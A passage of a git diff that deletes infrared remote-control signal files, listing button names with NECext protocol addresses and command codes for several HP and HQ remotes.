-protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: MEM_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_465539-002/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_465539-002/4,15.ir deleted file mode 100644 index fa9fd662a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_465539-002/4,15.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0C 00 00 00 -# -name: X_KEY_WINDOWS -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 11 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 14 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 15 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 19 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1A 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 20 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 21 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 22 00 00 00 -# -name: KEY_ESC -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 23 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 24 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 6E 00 00 00 -# -name: KEY_MEDIA_REPEAT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 80 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_DV4-1125NR/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_DV4-1125NR/4,15.ir deleted file mode 100644 index b2615c277..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_DV4-1125NR/4,15.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0C 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 11 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 12 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 13 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 14 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 15 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 19 00 00 00 -# -name: BTN_FORWARD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1A 00 00 00 -# -name: BTN_BACK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 20 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 21 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 22 00 00 00 -# -name: KEY_FIRST -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 23 00 00 00 -# -name: KEY_MEDIA -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 24 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 6E 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 80 00 00 00 -# -name: KEY_SCREEN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 81 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_DV6331/4,17.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_DV6331/4,17.ir deleted file mode 100644 index 550e6d831..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_DV6331/4,17.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 0C 00 00 00 -# -name: X_KEY_WINDOWS -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 0E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 11 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 12 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 13 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 14 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 15 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 16 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 19 00 00 00 -# -name: KEY_NEXTSONG -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 1A 00 00 00 -# -name: KEY_PREVIOUSSONG -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 1B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 1E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 1F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 20 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 21 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 22 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 23 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 24 00 00 00 -# -name: X_KEY_REPEAT -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 4A 00 00 00 -# -name: KEY_SWITCHVIDEOMODE -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 4F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_Pavilion/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_Pavilion/4,15.ir deleted file mode 100644 index 4c9e5be21..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_Pavilion/4,15.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 09 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0C 00 00 00 -# -name: MEDIA_CENTER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0F 00 00 00 -# -name: SOUND_P -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 10 00 00 00 -# -name: SOUND_M -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 11 00 00 00 -# -name: CHANEL_P -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 12 00 00 00 -# -name: CHANEL_M -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 13 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 14 00 00 00 -# -name: FBW -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 15 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 16 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 18 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 19 00 00 00 -# -name: JUMP_NEXT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1A 00 00 00 -# -name: JUMP_PREVIOUS -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1B 00 00 00 -# -name: KEY_NUMERIC_POUND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1C 00 00 00 -# -name: KEY_NUMERIC_STAR -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 20 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 21 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 22 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 23 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 24 00 00 00 -# -name: TV_DIRECT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 25 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 26 00 00 00 -# -name: TV_RECORD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 48 00 00 00 -# -name: PRINT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 4E 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5A 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_RC172308-01B/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_RC172308-01B/4,15.ir deleted file mode 100644 index 3aa34506d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_RC172308-01B/4,15.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0C 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 12 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 13 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 14 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 15 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 19 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1A 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 20 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 21 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 22 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 23 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 24 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 6E 00 00 00 -# -name: KEY_UNKNOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 80 00 00 00 -# -name: KEY_SWITCHVIDEOMODE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 81 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_RC1762302-00/4,17.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_RC1762302-00/4,17.ir deleted file mode 100644 index dff2e924f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_RC1762302-00/4,17.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 0C 00 00 00 -# -name: KEY_MEDIA -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 0E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 11 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 12 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 13 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 14 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 15 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 16 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 19 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 1A 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 1B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 1E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 1F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 20 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 21 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 22 00 00 00 -# -name: KEY_BACKSPACE -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 23 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 24 00 00 00 -# -name: KEY_SWITCHVIDEOMODE -type: parsed -protocol: NECext -address: 04 11 00 00 -command: 4F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_RC1762307-01/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_RC1762307-01/4,15.ir deleted file mode 100644 index 403cac647..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_RC1762307-01/4,15.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 11 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 12 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 13 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 14 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 15 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 15 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 19 00 00 00 -# -name: KEY_NEXTSONG -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1A 00 00 00 -# -name: KEY_PREVIOUSSONG -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 20 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 21 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 22 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 22 00 00 00 -# -name: KEY_ESC -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 23 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 24 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 6E 00 00 00 -# -name: KEY_SWITCHVIDEOMODE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 81 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_RC2234302-01B/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_RC2234302-01B/4,15.ir deleted file mode 100644 index 95b7d28e8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_RC2234302-01B/4,15.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 09 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0C 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 11 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 12 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 13 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 14 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 15 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 17 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 19 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1A 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1B 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1C 00 00 00 -# -name: KEY_KPASTERISK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 20 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 21 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 22 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 23 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 26 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 39 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5A 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5E 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 6E 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 80 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HQ/Unknown_RC/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HQ/Unknown_RC/0,-1.ir deleted file mode 100644 index 0e868f51e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HQ/Unknown_RC/0,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: I/II -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: arrow -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: ch\*p/c -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: set -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: 